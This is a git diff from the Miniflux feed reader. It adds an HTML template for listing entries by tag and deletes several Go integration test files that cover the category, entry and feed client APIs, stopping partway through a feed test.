a/internal/template/templates/views/tag_entries.html b/internal/template/templates/views/tag_entries.html new file mode 100644 index 00000000..86d1c203 --- /dev/null +++ b/internal/template/templates/views/tag_entries.html @@ -0,0 +1,52 @@ +{{ define "title"}}{{ .tagName }} ({{ .total }}){{ end }} + +{{ define "page_header"}} +<section class="page-header" aria-labelledby="page-header-title page-header-title-count"> + <h1 id="page-header-title" dir="auto"> + {{ .tagName }} + <span aria-hidden="true"> ({{ .total }})</span> + </h1> + <span id="page-header-title-count" class="sr-only">{{ plural "page.tag_entry_count" .total .total }}</span> +</section> +{{ end }} + +{{ define "content"}} +{{ if not .entries }} + <p role="alert" class="alert alert-info">{{ t "alert.no_tag_entry" }}</p> +{{ else }} + <div class="pagination-top"> + {{ template "pagination" .pagination }} + </div> + <div class="items"> + {{ range .entries }} + <article + class="item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}" + data-id="{{ .ID }}" + aria-labelledby="entry-title-{{ .ID }}" + tabindex="-1" + > + <header class="item-header" dir="auto"> + <h2 id="entry-title-{{ .ID }}" class="item-title"> + <a href="{{ route "tagEntry" "entryID" .ID "tagName" (urlEncode $.tagName) }}"> + {{ if ne .Feed.Icon.IconID 0 }} + <img src="{{ route "icon" "iconID" .Feed.Icon.IconID }}" width="16" height="16" loading="lazy" alt=""> + {{ end }} + {{ .Title }} + </a> + </h2> + <span class="category"> + <a href="{{ route "categoryEntries" "categoryID" .Feed.Category.ID }}"> + {{ .Feed.Category.Title }} + </a> + </span> + </header> + {{ template "item_meta" dict "user" $.user "entry" . "hasSaveEntry" $.hasSaveEntry }} + </article> + {{ end }} + </div> + <div class="pagination-bottom"> + {{ template "pagination" .pagination }} + </div> +{{ end }} + +{{ end }} diff --git a/internal/tests/category_test.go b/internal/tests/category_test.go deleted file mode 100644 index c5b7b389..00000000 --- a/internal/tests/category_test.go +++ /dev/null @@ -1,196 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestCreateCategory(t *testing.T) { - categoryName := "My category" - client := createClient(t) - category, err := client.CreateCategory(categoryName) - if err != nil { - t.Fatal(err) - } - - if category.ID == 0 { - t.Fatalf(`Invalid categoryID, got "%v"`, category.ID) - } - - if category.UserID <= 0 { - t.Fatalf(`Invalid userID, got "%v"`, category.UserID) - } - - if category.Title != categoryName { - t.Fatalf(`Invalid title, got "%v" instead of "%v"`, category.Title, categoryName) - } -} - -func TestCreateCategoryWithEmptyTitle(t *testing.T) { - client := createClient(t) - _, err := client.CreateCategory("") - if err == nil { - t.Fatal(`The category title should be mandatory`) - } -} - -func TestCannotCreateDuplicatedCategory(t *testing.T) { - client := createClient(t) - - categoryName := "My category" - _, err := client.CreateCategory(categoryName) - if err != nil { - t.Fatal(err) - } - - _, err = client.CreateCategory(categoryName) - if err == nil { - t.Fatal(`Duplicated categories should not be allowed`) - } -} - -func TestUpdateCategory(t *testing.T) { - categoryName := "My category" - client := createClient(t) - category, err := client.CreateCategory(categoryName) - if err != nil { - t.Fatal(err) - } - - categoryName = "Updated category" - category, err = client.UpdateCategory(category.ID, categoryName) - if err != nil { - t.Fatal(err) - } - - if category.ID == 0 { - t.Fatalf(`Invalid categoryID, got "%v"`, category.ID) - } - - if category.UserID <= 0 { - t.Fatalf(`Invalid userID, got "%v"`, category.UserID) - } - - if category.Title != categoryName { - t.Fatalf(`Invalid title, got %q instead of %q`, category.Title, categoryName) - } -} - -func TestUpdateInexistingCategory(t *testing.T) { - client := createClient(t) - - _, err := client.UpdateCategory(4200000, "Test") - if err != miniflux.ErrNotFound { - t.Errorf(`Updating an inexisting category should returns a 404 instead of %v`, err) - } -} - -func TestMarkCategoryAsRead(t *testing.T) { - client := createClient(t) - - feed, category := createFeed(t, client) - - results, err := client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get entries: %v`, err) - } - if results.Total == 0 { - t.Fatalf(`Invalid number of entries: %d`, results.Total) - } - if results.Entries[0].Status != miniflux.EntryStatusUnread { - t.Fatalf(`Invalid entry status, got %q instead of %q`, results.Entries[0].Status, miniflux.EntryStatusUnread) - } - - if err := client.MarkCategoryAsRead(category.ID); err != nil { - t.Fatalf(`Failed to mark category as read: %v`, err) - } - - results, err = client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatalf(`Failed to get updated entries: %v`, err) - } - - for _, entry := range results.Entries { - if entry.Status != miniflux.EntryStatusRead { - t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) - } - } -} - -func TestListCategories(t *testing.T) { - categoryName := "My category" - client := createClient(t) - - _, err := client.CreateCategory(categoryName) - if err != nil { - t.Fatal(err) - } - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - if len(categories) != 2 { - t.Fatalf(`Invalid number of categories, got "%v" instead of "%v"`, len(categories), 2) - } - - if categories[0].ID == 0 { - t.Fatalf(`Invalid categoryID, got "%v"`, categories[0].ID) - } - - if categories[0].UserID <= 0 { - t.Fatalf(`Invalid userID, got "%v"`, categories[0].UserID) - } - - if categories[0].Title != "All" { - t.Fatalf(`Invalid title, got "%v" instead of "%v"`, categories[0].Title, "All") - } - - if categories[1].ID == 0 { - t.Fatalf(`Invalid categoryID, got "%v"`, categories[0].ID) - } - - if categories[1].UserID <= 0 { - t.Fatalf(`Invalid userID, got "%v"`, categories[1].UserID) - } - - if categories[1].Title != categoryName { - t.Fatalf(`Invalid title, got "%v" instead of "%v"`, categories[1].Title, categoryName) - } -} - -func TestDeleteCategory(t *testing.T) { - client := createClient(t) - - category, err := client.CreateCategory("My category") - if err != nil { - t.Fatal(err) - } - - err = client.DeleteCategory(category.ID) - if err != nil { - t.Fatal(`Removing a category should not raise any error`) - } -} - -func TestCannotDeleteCategoryOfAnotherUser(t *testing.T) { - client := createClient(t) - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - client = createClient(t) - err = client.DeleteCategory(categories[0].ID) - if err == nil { - t.Fatal(`Removing a category that belongs to another user should be forbidden`) - } -} diff --git a/internal/tests/endpoint_test.go b/internal/tests/endpoint_test.go deleted file mode 100644 index 16b122d2..00000000 --- a/internal/tests/endpoint_test.go +++ /dev/null @@ -1,21 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestWithBadEndpoint(t *testing.T) { - client := miniflux.New("bad url", testAdminUsername, testAdminPassword) - _, err := client.Users() - if err == nil { - t.Fatal(`Using a bad URL should raise an error`) - } -} diff --git a/internal/tests/entry_test.go b/internal/tests/entry_test.go deleted file mode 100644 index b0669797..00000000 --- a/internal/tests/entry_test.go +++ /dev/null @@ -1,517 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestGetAllFeedEntries(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - allResults, err := client.FeedEntries(feed.ID, nil) - if err != nil { - t.Fatal(err) - } - - if allResults.Total == 0 { - t.Fatal(`Invalid number of entries`) - } - - if allResults.Entries[0].Title == "" { - t.Fatal(`Invalid entry title`) - } - - filteredResults, err := client.FeedEntries(feed.ID, &miniflux.Filter{Limit: 1, Offset: 5}) - if err != nil { - t.Fatal(err) - } - - if allResults.Total != filteredResults.Total { - t.Fatal(`Total should always contains the total number of items regardless of filters`) - } - - if allResults.Entries[0].ID == filteredResults.Entries[0].ID { - t.Fatal(`Filtered entries should be different than previous results`) - } - - filteredResultsByEntryID, err := client.FeedEntries(feed.ID, &miniflux.Filter{AfterEntryID: allResults.Entries[0].ID}) - if err != nil { - t.Fatal(err) - } - - if filteredResultsByEntryID.Entries[0].ID == allResults.Entries[0].ID { - t.Fatal(`The first entry should be filtered out`) - } -} - -func TestGetAllCategoryEntries(t *testing.T) { - client := createClient(t) - _, category := createFeed(t, client) - - allResults, err := client.CategoryEntries(category.ID, nil) - if err != nil { - t.Fatal(err) - } - - if allResults.Total == 0 { - t.Fatal(`Invalid number of entries`) - } - - if allResults.Entries[0].Title == "" { - t.Fatal(`Invalid entry title`) - } - - filteredResults, err := client.CategoryEntries(category.ID, &miniflux.Filter{Limit: 1, Offset: 5}) - if err != nil { - t.Fatal(err) - } - - if allResults.Total != filteredResults.Total { - t.Fatal(`Total should always contains the total number of items regardless of filters`) - } - - if allResults.Entries[0].ID == filteredResults.Entries[0].ID { - t.Fatal(`Filtered entries should be different than previous results`) - } - - filteredResultsByEntryID, err := client.CategoryEntries(category.ID, &miniflux.Filter{AfterEntryID: allResults.Entries[0].ID}) - if err != nil { - t.Fatal(err) - } - - if filteredResultsByEntryID.Entries[0].ID == allResults.Entries[0].ID { - t.Fatal(`The first entry should be filtered out`) - } -} - -func TestGetAllEntries(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - resultWithoutSorting, err := client.Entries(nil) - if err != nil { - t.Fatal(err) - } - - if resultWithoutSorting.Total == 0 { - t.Fatal(`Invalid number of entries`) - } - - resultWithStatusFilter, err := client.Entries(&miniflux.Filter{Status: miniflux.EntryStatusRead}) - if err != nil { - t.Fatal(err) - } - - if resultWithStatusFilter.Total != 0 { - t.Fatal(`We should have 0 read entries`) - } - - resultWithDifferentSorting, err := client.Entries(&miniflux.Filter{Order: "published_at", Direction: "desc"}) - if err != nil { - t.Fatal(err) - } - - if resultWithDifferentSorting.Entries[0].Title == resultWithoutSorting.Entries[0].Title { - t.Fatalf(`The items should be sorted differently "%v" vs "%v"`, resultWithDifferentSorting.Entries[0].Title, resultWithoutSorting.Entries[0].Title) - } - - resultWithStarredEntries, err := client.Entries(&miniflux.Filter{Starred: miniflux.FilterOnlyStarred}) - if err != nil { - t.Fatal(err) - } - - if resultWithStarredEntries.Total != 0 { - t.Fatalf(`We are not supposed to have starred entries yet`) - } -} - -func TestFilterEntriesByCategory(t *testing.T) { - client := createClient(t) - category, err := client.CreateCategory("Test Filter by Category") - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: category.ID, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - results, err := client.Entries(&miniflux.Filter{CategoryID: category.ID}) - if err != nil { - t.Fatal(err) - } - - if results.Total == 0 { - t.Fatalf(`We should have more than one entry`) - } - - if results.Entries[0].Feed.Category == nil { - t.Fatalf(`The entry feed category should not be nil`) - } - - if results.Entries[0].Feed.Category.ID != category.ID { - t.Errorf(`Entries should be filtered by category_id=%d`, category.ID) - } -} - -func TestFilterEntriesByFeed(t *testing.T) { - client := createClient(t) - category, err := client.CreateCategory("Test Filter by Feed") - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: category.ID, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - results, err := client.Entries(&miniflux.Filter{FeedID: feedID}) - if err != nil { - t.Fatal(err) - } - - if results.Total == 0 { - t.Fatalf(`We should have more than one entry`) - } - - if results.Entries[0].Feed.Category == nil { - t.Fatalf(`The entry feed category should not be nil`) - } - - if results.Entries[0].Feed.Category.ID != category.ID { - t.Errorf(`Entries should be filtered by category_id=%d`, category.ID) - } -} - -func TestFilterEntriesByStatuses(t *testing.T) { - client := createClient(t) - category, err := client.CreateCategory("Test Filter by statuses") - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: category.ID, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - results, err := client.Entries(&miniflux.Filter{FeedID: feedID}) - if err != nil { - t.Fatal(err) - } - - if err := client.UpdateEntries([]int64{results.Entries[0].ID}, miniflux.EntryStatusRead); err != nil { - t.Fatal(err) - } - - if err := client.UpdateEntries([]int64{results.Entries[1].ID}, miniflux.EntryStatusRemoved); err != nil { - t.Fatal(err) - } - - results, err = client.Entries(&miniflux.Filter{Statuses: []string{miniflux.EntryStatusRead, miniflux.EntryStatusRemoved}}) - if err != nil { - t.Fatal(err) - } - - if results.Total != 2 { - t.Fatalf(`We should have 2 entries`) - } - - if results.Entries[0].Status != "read" { - t.Errorf(`The first entry has the wrong status: %s`, results.Entries[0].Status) - } - - if results.Entries[1].Status != "removed" { - t.Errorf(`The 2nd entry has the wrong status: %s`, results.Entries[1].Status) - } -} - -func TestSearchEntries(t *testing.T) { - client := createClient(t) - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - results, err := client.Entries(&miniflux.Filter{Search: "2.0.8"}) - if err != nil { - t.Fatal(err) - } - - if results.Total != 1 { - t.Fatalf(`We should have only one entry instead of %d`, results.Total) - } -} - -func TestInvalidFilters(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - _, err := client.Entries(&miniflux.Filter{Status: "invalid"}) - if err == nil { - t.Fatal(`Using invalid status should raise an error`) - } - - _, err = client.Entries(&miniflux.Filter{Direction: "invalid"}) - if err == nil { - t.Fatal(`Using invalid direction should raise an error`) - } - - _, err = client.Entries(&miniflux.Filter{Order: "invalid"}) - if err == nil { - t.Fatal(`Using invalid order should raise an error`) - } -} - -func TestGetFeedEntry(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - // Test get entry by entry id and feed id - entry, err := client.FeedEntry(result.Entries[0].FeedID, result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - if entry.ID != result.Entries[0].ID { - t.Fatal("Wrong entry returned") - } -} - -func TestGetCategoryEntry(t *testing.T) { - client := createClient(t) - _, category := createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - // Test get entry by entry id and category id - entry, err := client.CategoryEntry(category.ID, result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - if entry.ID != result.Entries[0].ID { - t.Fatal("Wrong entry returned") - } -} - -func TestGetEntry(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - // Test get entry by entry id only - entry, err := client.Entry(result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - if entry.ID != result.Entries[0].ID { - t.Fatal("Wrong entry returned") - } -} - -func TestUpdateStatus(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - err = client.UpdateEntries([]int64{result.Entries[0].ID}, miniflux.EntryStatusRead) - if err != nil { - t.Fatal(err) - } - - entry, err := client.Entry(result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - - if entry.Status != miniflux.EntryStatusRead { - t.Fatal("The entry status should be updated") - } - - err = client.UpdateEntries([]int64{result.Entries[0].ID}, "invalid") - if err == nil { - t.Fatal(`Invalid entry status should not be accepted`) - } - - err = client.UpdateEntries([]int64{}, miniflux.EntryStatusRead) - if err == nil { - t.Fatal(`An empty list of entry should not be accepted`) - } -} - -func TestUpdateEntry(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - title := "New title" - content := "New content" - - _, err = client.UpdateEntry(result.Entries[0].ID, &miniflux.EntryModificationRequest{ - Title: &title, - Content: &content, - }) - if err != nil { - t.Fatal(err) - } - - entry, err := client.Entry(result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - - if entry.Title != title { - t.Fatal("The entry title should be updated") - } - - if entry.Content != content { - t.Fatal("The entry content should be updated") - } -} - -func TestToggleBookmark(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - if result.Entries[0].Starred { - t.Fatal("The entry should not be starred") - } - - err = client.ToggleBookmark(result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - - entry, err := client.Entry(result.Entries[0].ID) - if err != nil { - t.Fatal(err) - } - - if !entry.Starred { - t.Fatal("The entry should be starred") - } -} - -func TestHistoryOrder(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 3}) - if err != nil { - t.Fatal(err) - } - - selectedEntryID := result.Entries[2].ID - - err = client.UpdateEntries([]int64{selectedEntryID}, miniflux.EntryStatusRead) - if err != nil { - t.Fatal(err) - } - - history, err := client.Entries(&miniflux.Filter{Order: "changed_at", Direction: "desc", Limit: 1}) - if err != nil { - t.Fatal(err) - } - - if history.Entries[0].ID != selectedEntryID { - t.Fatal("The entry that we just read should be at the top of the history") - } -} - -func TestFlushHistory(t *testing.T) { - client := createClient(t) - createFeed(t, client) - - result, err := client.Entries(&miniflux.Filter{Limit: 1}) - if err != nil { - t.Fatal(err) - } - - selectedEntryID := result.Entries[0].ID - - err = client.UpdateEntries([]int64{selectedEntryID}, miniflux.EntryStatusRead) - if err != nil { - t.Fatal(err) - } - - err = client.FlushHistory() - if err != nil { - t.Fatal(err) - } - - history, err := client.Entries(&miniflux.Filter{Status: miniflux.EntryStatusRemoved}) - if err != nil { - t.Fatal(err) - } - - if history.Entries[0].ID != selectedEntryID { - t.Fatal("The entry that we just read should have the removed status") - } -} diff --git a/internal/tests/feed_test.go b/internal/tests/feed_test.go deleted file mode 100644 index bf799cec..00000000 --- a/internal/tests/feed_test.go +++ /dev/null @@ -1,880 +0,0 @@ -// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. -// SPDX-License-Identifier: Apache-2.0 - -//go:build integration -// +build integration - -package tests - -import ( - "strings" - "testing" - - miniflux "miniflux.app/v2/client" -) - -func TestCreateFeed(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - if feed.ID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feed.ID) - } -} - -func TestCannotCreateDuplicatedFeed(t *testing.T) { - client := createClient(t) - feed, category := createFeed(t, client) - - _, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: feed.FeedURL, - CategoryID: category.ID, - }) - if err == nil { - t.Fatal(`Duplicated feeds should not be allowed`) - } -} - -func TestCreateFeedWithInexistingCategory(t *testing.T) { - client := createClient(t) - _, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: -1, - }) - if err == nil { - t.Fatal(`Feeds should not be created with inexisting category`) - } -} - -func TestCreateFeedWithEmptyFeedURL(t *testing.T) { - client := createClient(t) - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - _, err = client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: "", - CategoryID: categories[0].ID, - }) - if err == nil { - t.Fatal(`Feeds should not be created with an empty feed URL`) - } -} - -func TestCreateFeedWithInvalidFeedURL(t *testing.T) { - client := createClient(t) - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - _, err = client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: "invalid", - CategoryID: categories[0].ID, - }) - if err == nil { - t.Fatal(`Feeds should not be created with an invalid feed URL`) - } -} - -func TestCreateDisabledFeed(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - Disabled: true, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if !feed.Disabled { - t.Error(`The feed should be disabled`) - } -} - -func TestCreateFeedWithDisabledCache(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - IgnoreHTTPCache: true, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if !feed.IgnoreHTTPCache { - t.Error(`The feed should be ignoring HTTP cache`) - } -} - -func TestCreateFeedWithCrawlerEnabled(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - Crawler: true, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if !feed.Crawler { - t.Error(`The feed should have the scraper enabled`) - } -} - -func TestCreateFeedWithSelfSignedCertificatesAllowed(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - AllowSelfSignedCertificates: true, - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if !feed.AllowSelfSignedCertificates { - t.Error(`The feed should have self-signed certificates enabled`) - } -} - -func TestCreateFeedWithScraperRule(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - ScraperRules: "article", - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if feed.ScraperRules != "article" { - t.Error(`The feed should have the custom scraper rule saved`) - } -} - -func TestCreateFeedWithKeeplistRule(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - feedID, err := client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - KeeplistRules: "(?i)miniflux", - }) - if err != nil { - t.Fatal(err) - } - - if feedID == 0 { - t.Fatalf(`Invalid feed ID, got %q`, feedID) - } - - feed, err := client.Feed(feedID) - if err != nil { - t.Fatal(err) - } - - if feed.KeeplistRules != "(?i)miniflux" { - t.Error(`The feed should have the custom keep list rule saved`) - } -} - -func TestCreateFeedWithInvalidBlocklistRule(t *testing.T) { - client := createClient(t) - - categories, err := client.Categories() - if err != nil { - t.Fatal(err) - } - - _, err = client.CreateFeed(&miniflux.FeedCreationRequest{ - FeedURL: testFeedURL, - CategoryID: categories[0].ID, - BlocklistRules: "[", - }) - if err == nil { - t.Fatal(`Feed with invalid block list rule should not be created`) - } -} - -func TestUpdateFeedURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "https://www.example.org/feed.xml" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{FeedURL: &url}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.FeedURL != url { - t.Fatalf(`Wrong FeedURL, got %q instead of %q`, updatedFeed.FeedURL, url) - } -} - -func TestUpdateFeedWithEmptyFeedURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "" - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{FeedURL: &url}); err == nil { - t.Error(`Updating a feed with an empty feed URL should not be possible`) - } -} - -func TestUpdateFeedWithInvalidFeedURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "invalid" - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{FeedURL: &url}); err == nil { - t.Error(`Updating a feed with an invalid feed URL should not be possible`) - } -} - -func TestUpdateFeedSiteURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "https://www.example.org/" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{SiteURL: &url}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.SiteURL != url { - t.Fatalf(`Wrong SiteURL, got %q instead of %q`, updatedFeed.SiteURL, url) - } -} - -func TestUpdateFeedWithEmptySiteURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "" - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{SiteURL: &url}); err == nil { - t.Error(`Updating a feed with an empty site URL should not be possible`) - } -} - -func TestUpdateFeedWithInvalidSiteURL(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - url := "invalid" - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{SiteURL: &url}); err == nil { - t.Error(`Updating a feed with an invalid site URL should not be possible`) - } -} - -func TestUpdateFeedTitle(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - newTitle := "My new feed" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Title: &newTitle}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Title != newTitle { - t.Fatalf(`Wrong title, got %q instead of %q`, updatedFeed.Title, newTitle) - } -} - -func TestUpdateFeedWithEmptyTitle(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - title := "" - if _, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Title: &title}); err == nil { - t.Error(`Updating a feed with an empty title should not be possible`) - } -} - -func TestUpdateFeedCrawler(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - crawler := true - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Crawler: &crawler}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Crawler != crawler { - t.Fatalf(`Wrong crawler value, got "%v" instead of "%v"`, updatedFeed.Crawler, crawler) - } - - if updatedFeed.Title != feed.Title { - t.Fatalf(`The titles should be the same after update`) - } - - crawler = false - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{Crawler: &crawler}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.Crawler != crawler { - t.Fatalf(`Wrong crawler value, got "%v" instead of "%v"`, updatedFeed.Crawler, crawler) - } -} - -func TestUpdateFeedAllowSelfSignedCertificates(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - selfSigned := true - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{AllowSelfSignedCertificates: &selfSigned}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.AllowSelfSignedCertificates != selfSigned { - t.Fatalf(`Wrong AllowSelfSignedCertificates value, got "%v" instead of "%v"`, updatedFeed.AllowSelfSignedCertificates, selfSigned) - } - - selfSigned = false - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{AllowSelfSignedCertificates: &selfSigned}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.AllowSelfSignedCertificates != selfSigned { - t.Fatalf(`Wrong AllowSelfSignedCertificates value, got "%v" instead of "%v"`, updatedFeed.AllowSelfSignedCertificates, selfSigned) - } -} - -func TestUpdateFeedScraperRules(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - scraperRules := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{ScraperRules: &scraperRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.ScraperRules != scraperRules { - t.Fatalf(`Wrong ScraperRules value, got "%v" instead of "%v"`, updatedFeed.ScraperRules, scraperRules) - } - - scraperRules = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{ScraperRules: &scraperRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.ScraperRules != scraperRules { - t.Fatalf(`Wrong ScraperRules value, got "%v" instead of "%v"`, updatedFeed.ScraperRules, scraperRules) - } -} - -func TestUpdateFeedRewriteRules(t *testing.T) { - client := createClient(t) - feed, _ := createFeed(t, client) - - rewriteRules := "test" - updatedFeed, err := client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{RewriteRules: &rewriteRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.RewriteRules != rewriteRules { - t.Fatalf(`Wrong RewriteRules value, got "%v" instead of "%v"`, updatedFeed.RewriteRules, rewriteRules) - } - - rewriteRules = "" - updatedFeed, err = client.UpdateFeed(feed.ID, &miniflux.FeedModificationRequest{RewriteRules: &rewriteRules}) - if err != nil { - t.Fatal(err) - } - - if updatedFeed.RewriteRules != rewriteRules { - t.Fatalf(`Wrong RewriteRules value, got "%v" instead of "%v"`, updatedFeed.RewriteRules, rewriteRules) - } -} - -func TestUpdateFeedKeeplistRules(t *testing.T) { - client := createClient(t) - 